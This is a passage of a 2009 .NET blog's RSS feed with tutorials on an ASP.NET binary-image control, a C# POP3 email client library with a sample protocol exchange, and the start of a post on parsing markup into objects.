<p><a rel="lightbox"   href="http://www.ramymostafa.com/wp-content/uploads/2009/03/rbmimagedemo.jpg"><img class="alignnone size-medium wp-image-188" title="rbmimagedemo" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/rbmimagedemo-300x297.jpg" alt="rbmimagedemo" width="300" height="297" /></a></p>
<hr />
<h2>Using the RbmBinaryImage Control</h2>
<div>
First you need to add reference to the RbmControls.dll, then place the code below in the <strong>system.web</strong> section in your web.config</p>
<pre class="brush: html;"> &lt;httpHandlers&gt;
   &lt;add verb="GET" path="__RbmImageHandler.rbm"
   type="RbmControls.RbmImageHandler" /&gt;
  &lt;/httpHandlers&gt;</pre>
</div>
<div>
Then in the page you want to use the Control Register it by using</p>
<pre class="brush: html;">&lt;%@ Register Assembly="RbmControls" Namespace="RbmControls" TagPrefix="Rbm" %&gt;</pre>
<p>you could either bind the control directly in the ImageContent Property, Also specify whether to display the image as a thumbnail. and specify an image to display when the ImageContent is empty<br />
an alternative is to do that by code</p>
<pre class="brush: csharp;">RbmBinaryImage1.ImageContent = FileUpload1.FileBytes;</pre>
</div>
<hr />
<h2>Using the Code</h2>
<p>
<a rel="lightbox"   href="http://www.ramymostafa.com/wp-content/uploads/2009/03/rbmbinaryimageclassdiagram1.jpg"><img src="http://www.ramymostafa.com/wp-content/uploads/2009/03/rbmbinaryimageclassdiagram1-288x300.jpg" alt="rbmbinaryimageclassdiagram1" title="rbmbinaryimageclassdiagram1" width="288" height="300" class="alignnone size-medium wp-image-190" /></a><br />
</p>
<div>
The RbmBinaryImage Class Inherits from System.Web.UI.WebControls.Image and the functionality of storing and rendering a binary image to it also it adds the ability to generate a thumbnail based on a specified size and caching your image.<br />
<br />
The Imagecontent Property Retrieves and store the image bytes in the ViewState also if the <strong>DisplayThumbnail</strong> property is set to true then it retrieves the thumbnail of the image</p>
<pre class="brush: csharp;">public byte[] ImageContent
        {
            get
            {
                byte[] imageBytes = ViewState["ImageContent"] as byte[];
                if (!DisplayThumbnail)
                    return (imageBytes == null) ? null : imageBytes;
                else if (imageBytes != null)
                {
                    byte[] bytes = CreateThumb();
                    return bytes;
                }
                else
                    return null;
            }
            set
            {
                ViewState["ImageContent"] = value;
            }
        }</pre>
</div>
<div>
The OnPreRender Method is used to set the ImageUrl Based on the Property Settings of the Image Control</p>
<pre class="brush: csharp;">protected override void OnPreRender(EventArgs e)
        {
            base.OnPreRender(e);
            if (DesignMode)
                return;
            if (ImageContent != null)
            {
                if(string.IsNullOrEmpty(CacheKey))
                    CacheKey = "Rbm" + System.DateTime.Now.Ticks;
                ImageUrl = String.Format("~/__RbmImageHandler.rbm?MimeType={0}&#038;EnableCaching={1}&#038;ImageContent={2}",
                    MimeType, EnableCachinge ? "1" : "0", CacheKey);
                if(this.Context.Cache[CacheKey] == null)
                    this.Context.Cache[CacheKey] = ImageContent;
            }
            else if (ImageUrl == "" || ImageUrl == null)
            {
                ImageUrl = EmptyImageUrl;
            }
        }
</pre>
</div>
<div>
In the <strong>RbmImageHandler</strong> Class in implements the IHttpHandler Interface and override the <strong>ProcessRequest</strong> method to display the image</p>
<pre class="brush: csharp;">public void ProcessRequest(HttpContext context)
        {

            #region Caching Properties
            string cacheKey = context.Request["ImageContent"];
            if (String.IsNullOrEmpty(cacheKey))
                return;
            bool enableCaching = false;
            if (!String.IsNullOrEmpty(context.Request["EnableCaching"]))
                Boolean.TryParse(context.Request["EnableCaching"], out enableCaching);
            #endregion

            #region Image Properties
            string mimeType = context.Request["MimeType"];
            if (string.IsNullOrEmpty(mimeType))
                mimeType = "image/jpeg";
            byte []imageData = context.Cache[cacheKey] as byte[];
            #endregion

            if (!enableCaching)
                context.Cache.Remove(cacheKey);
            context.Response.ContentType = mimeType;
            context.Response.OutputStream.Write(imageData, 0, imageData.Length);
        }
</pre>
</div>
<hr />
<h2>Share your Thoughts</h2>
<p>
If you liked the control or have any comments on it or features you want to place in it kindly share your thoughts here
</div>
]]></description>
			<content:encoded><![CDATA[<div>
<a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/RbmBinaryImage/RbmControls.zip">RBMBinaryImage Source Code</a></p>
<h2>Introduction</h2>
<p>The RbmBinaryImage control will help you display images directly from your database. You could bind the Image field directly to the ImageContent property, also you could specify whether you want the display to be as a thumbnail or not and provide the thumbnail size.</p>
<p><a rel="lightbox"   href="http://www.ramymostafa.com/wp-content/uploads/2009/03/rbmimagedemo.jpg"><img class="alignnone size-medium wp-image-188" title="rbmimagedemo" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/rbmimagedemo-300x297.jpg" alt="rbmimagedemo" width="300" height="297" /></a></p>
<hr />
<h2>Using the RbmBinaryImage Control</h2>
<div>
First you need to add reference to the RbmControls.dll, then place the code below in the <strong>system.web</strong> section in your web.config</p>
<pre class="brush: html;"> &lt;httpHandlers&gt;
   &lt;add verb="GET" path="__RbmImageHandler.rbm"
   type="RbmControls.RbmImageHandler" /&gt;
  &lt;/httpHandlers&gt;</pre>
</div>
<div>
Then in the page you want to use the Control Register it by using</p>
<pre class="brush: html;">&lt;%@ Register Assembly="RbmControls" Namespace="RbmControls" TagPrefix="Rbm" %&gt;</pre>
<p>you could either bind the control directly in the ImageContent Property, Also specify whether to display the image as a thumbnail. and specify an image to display when the ImageContent is empty<br />
an alternative is to do that by code</p>
<pre class="brush: csharp;">RbmBinaryImage1.ImageContent = FileUpload1.FileBytes;</pre>
</div>
<hr />
<h2>Using the Code</h2>
<p>
<a rel="lightbox"   href="http://www.ramymostafa.com/wp-content/uploads/2009/03/rbmbinaryimageclassdiagram1.jpg"><img src="http://www.ramymostafa.com/wp-content/uploads/2009/03/rbmbinaryimageclassdiagram1-288x300.jpg" alt="rbmbinaryimageclassdiagram1" title="rbmbinaryimageclassdiagram1" width="288" height="300" class="alignnone size-medium wp-image-190" /></a><br />
</p>
<div>
The RbmBinaryImage Class Inherits from System.Web.UI.WebControls.Image and the functionality of storing and rendering a binary image to it also it adds the ability to generate a thumbnail based on a specified size and caching your image.<br />
<br />
The Imagecontent Property Retrieves and store the image bytes in the ViewState also if the <strong>DisplayThumbnail</strong> property is set to true then it retrieves the thumbnail of the image</p>
<pre class="brush: csharp;">public byte[] ImageContent
        {
            get
            {
                byte[] imageBytes = ViewState["ImageContent"] as byte[];
                if (!DisplayThumbnail)
                    return (imageBytes == null) ? null : imageBytes;
                else if (imageBytes != null)
                {
                    byte[] bytes = CreateThumb();
                    return bytes;
                }
                else
                    return null;
            }
            set
            {
                ViewState["ImageContent"] = value;
            }
        }</pre>
</div>
<div>
The OnPreRender Method is used to set the ImageUrl Based on the Property Settings of the Image Control</p>
<pre class="brush: csharp;">protected override void OnPreRender(EventArgs e)
        {
            base.OnPreRender(e);
            if (DesignMode)
                return;
            if (ImageContent != null)
            {
                if(string.IsNullOrEmpty(CacheKey))
                    CacheKey = "Rbm" + System.DateTime.Now.Ticks;
                ImageUrl = String.Format("~/__RbmImageHandler.rbm?MimeType={0}&#038;EnableCaching={1}&#038;ImageContent={2}",
                    MimeType, EnableCachinge ? "1" : "0", CacheKey);
                if(this.Context.Cache[CacheKey] == null)
                    this.Context.Cache[CacheKey] = ImageContent;
            }
            else if (ImageUrl == "" || ImageUrl == null)
            {
                ImageUrl = EmptyImageUrl;
            }
        }
</pre>
</div>
<div>
In the <strong>RbmImageHandler</strong> Class in implements the IHttpHandler Interface and override the <strong>ProcessRequest</strong> method to display the image</p>
<pre class="brush: csharp;">public void ProcessRequest(HttpContext context)
        {

            #region Caching Properties
            string cacheKey = context.Request["ImageContent"];
            if (String.IsNullOrEmpty(cacheKey))
                return;
            bool enableCaching = false;
            if (!String.IsNullOrEmpty(context.Request["EnableCaching"]))
                Boolean.TryParse(context.Request["EnableCaching"], out enableCaching);
            #endregion

            #region Image Properties
            string mimeType = context.Request["MimeType"];
            if (string.IsNullOrEmpty(mimeType))
                mimeType = "image/jpeg";
            byte []imageData = context.Cache[cacheKey] as byte[];
            #endregion

            if (!enableCaching)
                context.Cache.Remove(cacheKey);
            context.Response.ContentType = mimeType;
            context.Response.OutputStream.Write(imageData, 0, imageData.Length);
        }
</pre>
</div>
<hr />
<h2>Share your Thoughts</h2>
<p>
If you liked the control or have any comments on it or features you want to place in it kindly share your thoughts here
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.ramymostafa.com/?feed=rss2&amp;p=187</wfw:commentRss>
		<slash:comments>63</slash:comments>
		</item>
		<item>
		<title>Building your own Mail Client using C#</title>
		<link>http://www.ramymostafa.com/?p=162</link>
		<comments>http://www.ramymostafa.com/?p=162#comments</comments>
		<pubDate>Thu, 26 Mar 2009 14:02:26 +0000</pubDate>
		<dc:creator>Ramy Mostafa</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Email Client]]></category>
		<category><![CDATA[POP3]]></category>

		<guid isPermaLink="false">http://www.ramymostafa.com/?p=162</guid>
		<description><![CDATA[<p><a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/IMailPlus/IMailPlus.zip">IMailPlus.zip</a></p>
<h2>Introduction</h2>
<p>The code here is written under the <a href="http://creativecommons.org/licenses/by/2.0/ ">common creativity license</a> you could download the project from the link above or clicking on the next link <a style="font-size:14px;" href="http://www.ramymostafa.com/wp-content/IMailPlus/IMailPlus.zip">IMailPlus.zip</a> It has been enspired from <a href="http://weblogs.sockbyte.com.ar/rodolfof">Rodolfo Finochietti POP3 Project</a> I have redesigned it and implement it and added to it SSL Support and optimized the design so that you could easily add other email clients below you will find a screen shot from the created demo application  <a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/imailplusdemo.jpg"><img class="alignnone size-medium wp-image-167" title="imailplusdemo" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/imailplusdemo-300x209.jpg" alt="imailplusdemo" width="300" height="209" /></a></p>
<p>This post will go with you step by step towards building your own Mail Client using C#, First to start I&#8217;ll start you need to first know the protocol you will be retrieving emails with I will discuss here the <strong>POP3 Protocol</strong>. The POP3 Protocols an application-layer Internet standard protocol along with IMAP4 they are the two most prevalent Internet standard protocols for e-mail retrieval. To understand how the protocol works lets examine a (Server &#8211; Client) communication example.  First the server is waiting for connection from any client</p>
<pre><span style="color: red;">S: &lt;wait for connection on TCP port 110&gt;
</span>The Client opens a TCP Connection with the server
C: &lt;open connection&gt;
The Server then response with the +OK Ready State
<span style="color: blue;">S:    +OK POP3 server ready &lt;1123.69123552@mail.ramymostafa.com&gt;</span>
Then we authenticate using the username and password
C:    USER username_here
<span style="color: blue;">S:    +OK send PASS
</span>C:    PASS password
<span style="color: blue;">S:    +OK Welcome.</span>
C:    LIST
<span style="color: blue;">S:    +OK 2 messages (320 octets)</span>
<span style="color: blue;">S:    1 120</span>
<span style="color: blue;">S:    2 200</span>
<span style="color: blue;">S:    .</span>
C:    RETR 1
<span style="color: blue;">S:    +OK 120 octets</span>
<span style="color: blue;">S:    &lt;the POP3 server sends message 1&gt;</span>
<span style="color: blue;">S:    .</span>
C:    DELE 1
<span style="color: blue;">S:    +OK message 1 deleted</span>
C:    RETR 2
<span style="color: blue;">S:    +OK 200 octets</span>
<span style="color: blue;">S:    &lt;the POP3 server sends message 2&gt;</span>
The QUIT command will remove retrieved messages from the server and sign off.
C:    QUIT
<span style="color: blue;">S:    +OK dewey POP3 server signing off (maildrop empty)</span>
C:  &lt;close connection&gt;
<span style="color: red;">S:  &lt;wait for next connection&gt;</span></pre>
<h2>Designing the Mail Client</h2>
<p><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/imailpluslibrarydiagram.jpg"><img class="alignnone size-medium wp-image-166" title="imailpluslibrarydiagram" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/imailpluslibrarydiagram-300x238.jpg" alt="imailpluslibrarydiagram" width="300" height="238" /></a></p>
<p>Now that we know how the POP3 protocol work we could start building our Mail Client. But before that let&#8217;s discuss the structure of an e-mail message.</p>
<table border="0" cellspacing="5" cellpadding="5">
<tbody>
<tr>
<td valign="top"><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/mailmessage.jpg"><img class="alignnone size-medium wp-image-163" title="mailmessage" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/mailmessage-160x300.jpg" alt="mailmessage" width="160" height="300" /></a></td>
<td valign="top">A mail message consists of</p>
<ul>
<li><strong>Header</strong> which includes things like
<ul>
<li>Mime type</li>
<li>Received Date</li>
<li>Subject</li>
<li>To</li>
<li>From</li>
</ul>
</li>
<li><strong>Body</strong> which includes the Messages
<ul>
<li> HTML Message</li>
<li>Text Message</li>
</ul>
</li>
</ul>
</td>
</tr>
</tbody>
</table>
<p>So, Basically the email client should first connect to the server and then authenticate itself with the server then start to exchange the protocol messages with the server and parse the replies to extract from it the message data or the reply status itself etc&#8230;, It should be able also to retrieve the emails from the server and parse the message retrieve to extract from it the MailMessage Information.</p>
<table border="0" cellspacing="5" cellpadding="5">
<tbody>
<tr>
<td valign="top"><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/email-client.jpg"><img class="alignnone size-medium wp-image-164" title="email-client" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/email-client-108x300.jpg" alt="email-client" width="108" height="300" /></a></td>
<td valign="top">The EmailClient is an AbstractClass with some properties required when connecting to the server  Like the server user name, password, port number, whether or not the server uses SSL or not etc.  Also it has methods for connecting to the server and Executing Commands to it , Retrieving the Server Response  string and Retrieving the MaiList.  In order to work with the mail client you should create your a class that inherits from the EmailClient representing the MailClient Protocol  In this sample I have implemented the POPEmailClient you could find it&#8217;s Members below</p>
<table border="0">
<tbody>
<tr>
<td><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/popmailclient.jpg"><img class="alignnone size-full wp-image-165" title="popmailclient" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/popmailclient.jpg" alt="popmailclient" width="146" height="154" /></a></td>
<td>The POPEmailClient overloads the Connect Method to connect with POP3 Commands also it overloads  the CreateCommand Method to create POP3 Command Format using the provided command in the parameter  The Disconnect Method is used to disconnect from the server and it&#8217;s called if you don&#8217;t want to keep a copy of your Email&#8217;s on the server if you do want to keep a copy from your emails you should not call this method.  The class also overrides the GetMailList Method to retrieve the Emails From the POP3 Server and Parse it to a List of POP3Messages.</td>
</tr>
</tbody>
</table>
<p><img src="file:///C:/DOCUME~1/mostafa.r/LOCALS~1/Temp/moz-screenshot-1.jpg" alt="" /></td>
</tr>
</tbody>
</table>
<h2>Implementing the Email Client</h2>
<p>Connect the Client To The Server using the given username, password and server it takes as parameters the Mail Server Domain Reference, The Mail Account User Name and Password.</p>
<pre class="brush: csharp;">        public override void Connect(string server, string UserName, string Password)
{
       try
       {
           if (_isConnected)
           {
               return;
           }
           if (!UseSSL)
           {
               Connect(server, PortNumber);
               string response = Response();
               if (!response.Trim().StartsWith("+OK"))
               {
                    //TODO: Raise Error Event
               }
               else
               {
                   ExecuteCommand("USER", UserName);
                   ExecuteCommand("PASS", Password);
               }
               _isConnected = true;
           }
           else
           {
               byte[] bts;
               int res;
               string responseString = "";
               ResponseList.Clear();
               Connect(server, PortNumber);
               inStream = new SslStream(this.GetStream(), false,
                  new RemoteCertificateValidationCallback(ValidateServerCertificate),
                   new LocalCertificateSelectionCallback(SelectLocalCertificate));
               inStream.AuthenticateAsClient(server);
               bts = new byte[1024];
               res = inStream.Read(bts, 0, bts.Length);
               ResponseList.Add(Encoding.ASCII.GetString(bts, 0, res));
               responseString = ExecuteCommand("USER", UserName);
               ResponseList.Add(responseString);
               responseString = ExecuteCommand("PASS", Password);
               ResponseList.Add(responseString);
               if (!responseString.Trim().StartsWith("+OK"))
               {
                   //TODO: Raise Error Event
               }
               else
                   _isConnected = true;
            }
        }
        catch (Exception ex)
        {
            //TODO: Raise Error Event
        }
}</pre>
<p>The GetMailList Method first Execute the Command List then it Retrieves a MetaMessageInfo from the Response String here the response string is parsed to retrieve Meta Information of the emails on the server like Number of Messages, and Messages Length</p>
<pre class="brush: csharp;"> List result = new List();
 string responseString = ExecuteCommand("LIST");
MetaMessageInfo info = new MetaMessageInfo(MailClientType.POP3,responseString);</pre>
<p>Here we make a loop to retrieve messages until we retrieve all messages using the number of messages in the POPMessage constructor it extracts all the message info from the string to fill its attributes</p>
<pre class="brush: csharp;">for (int i = 1; i &lt;= info.NumberOfMessages; i++)
{
    responseString = ExecuteCommand("RETR", i.ToString(), true);
    POPMessage message = new POPMessage(responseString);
    message.Number = i.ToString();
    message.Retrieved = true;
    if (message.MessageBoundaryId != null)
         result.Add(message);
}</pre>
<p>The Method that prase the response string to retrieve info from the Email is the LoadMethod</p>
<pre class="brush: csharp;">public override void Load(string messageString)
{
    string message = messageString.Replace("+OK message follows", "");
    Message = message;
    string messageIdPure = MessageBoundaryId;
    //the start of the message body starts from MessageBoundaryId ex --- ID --- Here I extract the Message body from the complete
   //response string
    int bodyIndex = message.IndexOf("--" + messageIdPure, StringComparison.CurrentCultureIgnoreCase);
    int messageLength = message.Length - bodyIndex;
    if (bodyIndex &lt; 0)
        return;
    string bodyString = message.Substring(bodyIndex, messageLength);
    string[] splitMessageOptions = new string[1];
    splitMessageOptions[0] = "--" + messageIdPure;
    //Here I Split with the message boundary Id to seperate the Text and HTML Messages
    string[] messages = bodyString.Split(splitMessageOptions, StringSplitOptions.RemoveEmptyEntries);
    //The Get Message Body Method retrieves the HTML, and Text Messages from the messages array
    GetMessageBody(messages);
}</pre>
<p>to extract a header property I use</p>
<pre class="brush: csharp;">_from = GetHeaderValue(EmailHeaders.From);</pre>
<p>Where the EmailHeaders.From is an enumerator with the headers and the GetHeaderValue Method extracts the required header value from the complete message string.</p>
<h2>IMailPlusLibrary Usage</h2>
<p>to use the library it&#8217;s simple all you need to to do is to do the below code</p>
<pre class="brush: csharp;">POPEmailClient popClient = new POPEmailClient();
popClient.UseSSL = account.UseSSL;
popClient.PortNumber = Convert.ToInt32(account.PortNumber);
popClient.Connect(account.Server, account.UserName, account.Password);
account.CurrentAccountMails = popClient.GetMailList();</pre>
<h2>Share Your Thoughts</h2>
<p>Finally I hope that this project would be of a great help for you. Please feel free to contact me regarding anything you don&#8217;t understand in the code yo will find the library code fully XML documented. Also if you have any cool ideas or updates for it please share your thoughts here.</p>
]]></description>
			<content:encoded><![CDATA[<p><a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/IMailPlus/IMailPlus.zip">IMailPlus.zip</a></p>
<h2>Introduction</h2>
<p>The code here is written under the <a href="http://creativecommons.org/licenses/by/2.0/ ">common creativity license</a> you could download the project from the link above or clicking on the next link <a style="font-size:14px;" href="http://www.ramymostafa.com/wp-content/IMailPlus/IMailPlus.zip">IMailPlus.zip</a> It has been enspired from <a href="http://weblogs.sockbyte.com.ar/rodolfof">Rodolfo Finochietti POP3 Project</a> I have redesigned it and implement it and added to it SSL Support and optimized the design so that you could easily add other email clients below you will find a screen shot from the created demo application  <a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/imailplusdemo.jpg"><img class="alignnone size-medium wp-image-167" title="imailplusdemo" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/imailplusdemo-300x209.jpg" alt="imailplusdemo" width="300" height="209" /></a></p>
<p>This post will go with you step by step towards building your own Mail Client using C#, First to start I&#8217;ll start you need to first know the protocol you will be retrieving emails with I will discuss here the <strong>POP3 Protocol</strong>. The POP3 Protocols an application-layer Internet standard protocol along with IMAP4 they are the two most prevalent Internet standard protocols for e-mail retrieval. To understand how the protocol works lets examine a (Server &#8211; Client) communication example.  First the server is waiting for connection from any client</p>
<pre><span style="color: red;">S: &lt;wait for connection on TCP port 110&gt;
</span>The Client opens a TCP Connection with the server
C: &lt;open connection&gt;
The Server then response with the +OK Ready State
<span style="color: blue;">S:    +OK POP3 server ready &lt;1123.69123552@mail.ramymostafa.com&gt;</span>
Then we authenticate using the username and password
C:    USER username_here
<span style="color: blue;">S:    +OK send PASS
</span>C:    PASS password
<span style="color: blue;">S:    +OK Welcome.</span>
C:    LIST
<span style="color: blue;">S:    +OK 2 messages (320 octets)</span>
<span style="color: blue;">S:    1 120</span>
<span style="color: blue;">S:    2 200</span>
<span style="color: blue;">S:    .</span>
C:    RETR 1
<span style="color: blue;">S:    +OK 120 octets</span>
<span style="color: blue;">S:    &lt;the POP3 server sends message 1&gt;</span>
<span style="color: blue;">S:    .</span>
C:    DELE 1
<span style="color: blue;">S:    +OK message 1 deleted</span>
C:    RETR 2
<span style="color: blue;">S:    +OK 200 octets</span>
<span style="color: blue;">S:    &lt;the POP3 server sends message 2&gt;</span>
The QUIT command will remove retrieved messages from the server and sign off.
C:    QUIT
<span style="color: blue;">S:    +OK dewey POP3 server signing off (maildrop empty)</span>
C:  &lt;close connection&gt;
<span style="color: red;">S:  &lt;wait for next connection&gt;</span></pre>
<h2>Designing the Mail Client</h2>
<p><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/imailpluslibrarydiagram.jpg"><img class="alignnone size-medium wp-image-166" title="imailpluslibrarydiagram" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/imailpluslibrarydiagram-300x238.jpg" alt="imailpluslibrarydiagram" width="300" height="238" /></a></p>
<p>Now that we know how the POP3 protocol work we could start building our Mail Client. But before that let&#8217;s discuss the structure of an e-mail message.</p>
<table border="0" cellspacing="5" cellpadding="5">
<tbody>
<tr>
<td valign="top"><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/mailmessage.jpg"><img class="alignnone size-medium wp-image-163" title="mailmessage" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/mailmessage-160x300.jpg" alt="mailmessage" width="160" height="300" /></a></td>
<td valign="top">A mail message consists of</p>
<ul>
<li><strong>Header</strong> which includes things like
<ul>
<li>Mime type</li>
<li>Received Date</li>
<li>Subject</li>
<li>To</li>
<li>From</li>
</ul>
</li>
<li><strong>Body</strong> which includes the Messages
<ul>
<li> HTML Message</li>
<li>Text Message</li>
</ul>
</li>
</ul>
</td>
</tr>
</tbody>
</table>
<p>So, Basically the email client should first connect to the server and then authenticate itself with the server then start to exchange the protocol messages with the server and parse the replies to extract from it the message data or the reply status itself etc&#8230;, It should be able also to retrieve the emails from the server and parse the message retrieve to extract from it the MailMessage Information.</p>
<table border="0" cellspacing="5" cellpadding="5">
<tbody>
<tr>
<td valign="top"><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/email-client.jpg"><img class="alignnone size-medium wp-image-164" title="email-client" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/email-client-108x300.jpg" alt="email-client" width="108" height="300" /></a></td>
<td valign="top">The EmailClient is an AbstractClass with some properties required when connecting to the server  Like the server user name, password, port number, whether or not the server uses SSL or not etc.  Also it has methods for connecting to the server and Executing Commands to it , Retrieving the Server Response  string and Retrieving the MaiList.  In order to work with the mail client you should create your a class that inherits from the EmailClient representing the MailClient Protocol  In this sample I have implemented the POPEmailClient you could find it&#8217;s Members below</p>
<table border="0">
<tbody>
<tr>
<td><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/popmailclient.jpg"><img class="alignnone size-full wp-image-165" title="popmailclient" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/popmailclient.jpg" alt="popmailclient" width="146" height="154" /></a></td>
<td>The POPEmailClient overloads the Connect Method to connect with POP3 Commands also it overloads  the CreateCommand Method to create POP3 Command Format using the provided command in the parameter  The Disconnect Method is used to disconnect from the server and it&#8217;s called if you don&#8217;t want to keep a copy of your Email&#8217;s on the server if you do want to keep a copy from your emails you should not call this method.  The class also overrides the GetMailList Method to retrieve the Emails From the POP3 Server and Parse it to a List of POP3Messages.</td>
</tr>
</tbody>
</table>
<p><img src="file:///C:/DOCUME~1/mostafa.r/LOCALS~1/Temp/moz-screenshot-1.jpg" alt="" /></td>
</tr>
</tbody>
</table>
<h2>Implementing the Email Client</h2>
<p>Connect the Client To The Server using the given username, password and server it takes as parameters the Mail Server Domain Reference, The Mail Account User Name and Password.</p>
<pre class="brush: csharp;">        public override void Connect(string server, string UserName, string Password)
{
       try
       {
           if (_isConnected)
           {
               return;
           }
           if (!UseSSL)
           {
               Connect(server, PortNumber);
               string response = Response();
               if (!response.Trim().StartsWith("+OK"))
               {
                    //TODO: Raise Error Event
               }
               else
               {
                   ExecuteCommand("USER", UserName);
                   ExecuteCommand("PASS", Password);
               }
               _isConnected = true;
           }
           else
           {
               byte[] bts;
               int res;
               string responseString = "";
               ResponseList.Clear();
               Connect(server, PortNumber);
               inStream = new SslStream(this.GetStream(), false,
                  new RemoteCertificateValidationCallback(ValidateServerCertificate),
                   new LocalCertificateSelectionCallback(SelectLocalCertificate));
               inStream.AuthenticateAsClient(server);
               bts = new byte[1024];
               res = inStream.Read(bts, 0, bts.Length);
               ResponseList.Add(Encoding.ASCII.GetString(bts, 0, res));
               responseString = ExecuteCommand("USER", UserName);
               ResponseList.Add(responseString);
               responseString = ExecuteCommand("PASS", Password);
               ResponseList.Add(responseString);
               if (!responseString.Trim().StartsWith("+OK"))
               {
                   //TODO: Raise Error Event
               }
               else
                   _isConnected = true;
            }
        }
        catch (Exception ex)
        {
            //TODO: Raise Error Event
        }
}</pre>
<p>The GetMailList Method first Execute the Command List then it Retrieves a MetaMessageInfo from the Response String here the response string is parsed to retrieve Meta Information of the emails on the server like Number of Messages, and Messages Length</p>
<pre class="brush: csharp;"> List result = new List();
 string responseString = ExecuteCommand("LIST");
MetaMessageInfo info = new MetaMessageInfo(MailClientType.POP3,responseString);</pre>
<p>Here we make a loop to retrieve messages until we retrieve all messages using the number of messages in the POPMessage constructor it extracts all the message info from the string to fill its attributes</p>
<pre class="brush: csharp;">for (int i = 1; i &lt;= info.NumberOfMessages; i++)
{
    responseString = ExecuteCommand("RETR", i.ToString(), true);
    POPMessage message = new POPMessage(responseString);
    message.Number = i.ToString();
    message.Retrieved = true;
    if (message.MessageBoundaryId != null)
         result.Add(message);
}</pre>
<p>The Method that prase the response string to retrieve info from the Email is the LoadMethod</p>
<pre class="brush: csharp;">public override void Load(string messageString)
{
    string message = messageString.Replace("+OK message follows", "");
    Message = message;
    string messageIdPure = MessageBoundaryId;
    //the start of the message body starts from MessageBoundaryId ex --- ID --- Here I extract the Message body from the complete
   //response string
    int bodyIndex = message.IndexOf("--" + messageIdPure, StringComparison.CurrentCultureIgnoreCase);
    int messageLength = message.Length - bodyIndex;
    if (bodyIndex &lt; 0)
        return;
    string bodyString = message.Substring(bodyIndex, messageLength);
    string[] splitMessageOptions = new string[1];
    splitMessageOptions[0] = "--" + messageIdPure;
    //Here I Split with the message boundary Id to seperate the Text and HTML Messages
    string[] messages = bodyString.Split(splitMessageOptions, StringSplitOptions.RemoveEmptyEntries);
    //The Get Message Body Method retrieves the HTML, and Text Messages from the messages array
    GetMessageBody(messages);
}</pre>
<p>to extract a header property I use</p>
<pre class="brush: csharp;">_from = GetHeaderValue(EmailHeaders.From);</pre>
<p>Where the EmailHeaders.From is an enumerator with the headers and the GetHeaderValue Method extracts the required header value from the complete message string.</p>
<h2>IMailPlusLibrary Usage</h2>
<p>to use the library it&#8217;s simple all you need to to do is to do the below code</p>
<pre class="brush: csharp;">POPEmailClient popClient = new POPEmailClient();
popClient.UseSSL = account.UseSSL;
popClient.PortNumber = Convert.ToInt32(account.PortNumber);
popClient.Connect(account.Server, account.UserName, account.Password);
account.CurrentAccountMails = popClient.GetMailList();</pre>
<h2>Share Your Thoughts</h2>
<p>Finally I hope that this project would be of a great help for you. Please feel free to contact me regarding anything you don&#8217;t understand in the code yo will find the library code fully XML documented. Also if you have any cool ideas or updates for it please share your thoughts here.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ramymostafa.com/?feed=rss2&amp;p=162</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Parsing Markup to Represent it as Objects</title>
		<link>http://www.ramymostafa.com/?p=126</link>
		<comments>http://www.ramymostafa.com/?p=126#comments</comments>
		<pubDate>Wed, 25 Mar 2009 10:08:32 +0000</pubDate>
		<dc:creator>Ramy Mostafa</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Regular Expression]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Regular Expressions]]></category>
		<category><![CDATA[WML]]></category>
		<category><![CDATA[XHTML MP]]></category>
		<category><![CDATA[XML]]></category>
		<category><![CDATA[XSL]]></category>

		<guid isPermaLink="false">http://www.ramymostafa.com/?p=126</guid>
		<description><![CDATA[<p>An interesting problem is parsing a Markup Document to represent it as an Object This would be very helpful for ex. if you want to generate valid Markup Code ex: Placing quotes in HTML attribute values and placing the end tags also another helpful thing for it is to replace some element section traverse through the object model for making whatever needed logic would be much easier and usable in an Object Model Here I place a project I made that takes any markup and turn it in form of a MarkupDocument with elements and attributes,content etc. Below is a screenshot for a representation or a markup in a tree format in which I used the MarkupDocument to build the Tree</p>
<p>The Project could be downloaded from <a href="http://www.ramymostafa.com/wp-content/MarkuptoObject/SampleProjects.zip">http://www.ramymostafa.com/wp-content/MarkuptoObject/SampleProjects.zip</a></p>
<p><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/ui2.jpg"><img class="alignnone size-medium wp-image-129" title="ui2" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/ui2-300x214.jpg" alt="ui2" width="300" height="214" /></a></p>
<h2><strong>Code Highlight</strong></h2>
<p>Here is the class Diagram for the Markup Representation</p>
<p><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/classdiagram.jpg"><img class="alignnone size-full wp-image-130" title="classdiagram" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/classdiagram.jpg" alt="classdiagram" width="463" height="236" /></a></p>
